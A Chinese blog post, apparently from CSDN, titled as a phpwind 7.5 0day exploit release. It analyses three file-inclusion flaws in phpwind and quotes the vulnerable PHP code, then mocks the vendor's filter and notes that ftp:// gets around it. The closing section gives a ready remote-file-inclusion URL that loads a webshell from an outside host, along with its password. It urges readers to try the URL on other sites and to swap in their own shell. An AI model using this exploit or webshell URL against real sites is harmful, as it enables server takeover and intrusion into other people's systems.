phpwindexp.php,phpwind 7.5 0day漏洞利用 (EXP发布)

phpwind 7.5 Multiple Include Vulnerabilities

一.api/class_base.php本地包含漏洞

1.描叙

api/class_base.php文件里callback函数里$mode变量没有过滤导致任意包含本地文件,从而可以执行任意PHP命令.

2. 具体分析

api/class_base.php文件里:

function callback($mode, $method, $params) {

if (!isset($this->classdb[$mode])) {

if (!file_exists(R_P.api/class_ . $mode . .php)) {

return new ErrorMsg(API_MODE_NOT_EXISTS, "Class($mode) Not Exists");

}

require_once(R_P.api/class_ . $mode . .php); //这里

$this->classdb[$mode] = new $mode($this);

}

if (!method_exists($this->classdb[$mode], $method)) {

return new ErrorMsg(API_METHOD_NOT_EXISTS, "Method($method of $mode) Not Exists");

}

!is_array($params) && $params = array();

return @call_user_func_array(array(&$this->classdb[$mode], $method), $params);

}

我们继续跟一下具体变量传递的过程. 上面的函数在run()里有调用:

function run($request) {

$request = $this->strips($request);

if (isset($request[type]) && $request[type] == uc) {

$this->type = uc;

$this->apikey = $GLOBALS[uc_key];//注意这个变量也是该漏洞的关键

} else {

$this->type = app;

$this->apikey = $GLOBALS[db_siteownerid];

$this->siteappkey = $GLOBALS[db_siteappkey];

}

/***

if ($this->type == app && !$GLOBALS[o_appifopen]) {

return new ErrorMsg(API_CLOSED, App Closed);

}

***/

ksort($request);

reset($request);

$arg = ;

foreach ($request as $key => $value) {

if ($value && $key != sig) {

$arg .= "$key=$value&";

}

}

if (md5($arg . $this->apikey) != $request[sig]) { //注意这个判断,需要绕过它.上面的代码可以看的出来$this->apikey = $GLOBALS[uc_key],和$request[sig]我们

//都可以控制,那么很容易绕过它

return new ErrorMsg(API_SIGN_ERROR, Error Sign);

}

$mode = $request[mode]; //取$mode 没有过滤直接进入下面的callback()

$method = $request[method];

$params = isset($request[params]) ? unserialize($request[params]) : array();

if (isset($params[appthreads])) {

if (PHP_VERSION < 5.2) {

require_once(R_P.api/class_json.php);

$json = new Services_JSON(true);

$params[appthreads] = $json->decode(@gzuncompress($params[appthreads]));

} else {

$params[appthreads] = json_decode(@gzuncompress($params[appthreads]),true);

}

}

if ($params && isset($request[charset])) {

$params = pwConvert($params, $this->charset, $request[charset]);

}

return $this->callback($mode, $method, $params); //调用callback ()

}

我们继续看看run()函数的调用:

在pw_api.php文件里:

$api = new api_client();

$response = $api->run($_POST + $_GET);//直接run了$_POST , $_GET提交的变量.

上面的分析是逆行分析了整个漏洞变量提交的过程,其实我们这个漏洞还包含一次编码与解码的问:require_once(R_P.api/class_ . $mode . .php);这个需要绕过魔术引号才可以

包含容易文件.我们注意看run()的第一句

$request = $this->strips($request);

strips()的代码:

function strips($param) {

if (is_array($param)) {

foreach ($param as $key => $value) {

$param[$key] = $this->strips($value);

}

} else {

$param = stripslashes($param); //变量直接使用了stripslashes,那么我们可以直接绕过魔术引号了 :)

}

return $param;

}

3.POC/EXP

4.FIX

由于漏洞信息的外泄,官方针对这个漏洞已经做出了修补:

http://www.phpwind.net/read-htm-tid-914851.html

具体代码:

require_once Pcv(R_P.api/class_ . $mode . .php);

function Pcv($filename,$ifcheck=1){

$tmpname = strtolower($filename);

$tmparray = array( http://,""); //过滤了http:// 意思是不让远程 不让截断

$ifcheck && $tmparray[] = ..;    //过滤了.. 意思是不让转跳目录

if (str_replace($tmparray,,$tmpname)!=$tmpname) {

exit(Forbidden);

}

return $filename;

}

从Pcv()可以看出来phpwind的补丁风格是很猥琐的,单从这个pcv来看 还有很多的逻辑问题,比如http://这个过滤很搞笑,人家就不可以用ftp://? ...

二.apps/share/index.php远程包含漏洞

1.描叙

apps/share/index.php 里$route和$basePath变量没有初始化,导致远程包含或者本地包含php文件,导致执行任意php代码

2.具体分析

if ($route == "share") {

require_once $basePath . /action/m_share.php;

} elseif ($route == "sharelink") {

require_once $basePath . /action/m_sharelink.php;

}

?>

这个漏洞好象不太需要分析!!!! 我建议写这个代码的人应该扣除年终奖...

3.POC/EXP

4.FIX

等待官方补丁,如果用不着的朋友直接把这个文件删除好了.

三.apps/groups/index.php远程包含漏洞

1.描叙

apps/groups/index.php 里$route和$basePath变量没有初始化,导致远程包含或者本地包含php文件,导致执行任意php代码

2.具体分析

if ($route == "groups") {

require_once $basePath . /action/m_groups.php;

} elseif ($route == "group") {

require_once $basePath . /action/m_group.php;

} elseif ($route == "galbum") {

require_once $basePath . /action/m_galbum.php;

}

这个漏洞好象不太需要分析!!!! 我建议写这个代码的人应该扣除年终奖...

3.POC/EXP

4.FIX

等待官方补丁,如果用不着的朋友直接把这个文件删除好了.

最新消息 目前官方已经发布补丁http://www.phpwind.net/read-htm-tid-914851.html

发布下利用EXP

http://www.######.***/apps/groups/index.php?route=groups&basePath=http://www.hackqing.cn/qing.txt?

浏览器访问

http://www.######.***/apps/groups/index.php?route=groups&basePath=http://www.hackqing.cn/qing.txt?密码qing520

访问后就可以包含文件并获得webshell(问好要带上,不然会失败)

要测试其他站是否存在漏洞,

加上apps/groups/index.php?route=groups&basePath=http://www.hackqing.cn/qing.txt?访问,获得shell说明漏洞存在并利用成功,不能获得shell说明漏洞打上补丁了。

http://www.hackqing.cn/qing.txt?这个shell可以替换成自己的shell,使用自己的shell使用起来得心应手

qing.txt 保存php大马

作者:情Blog

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值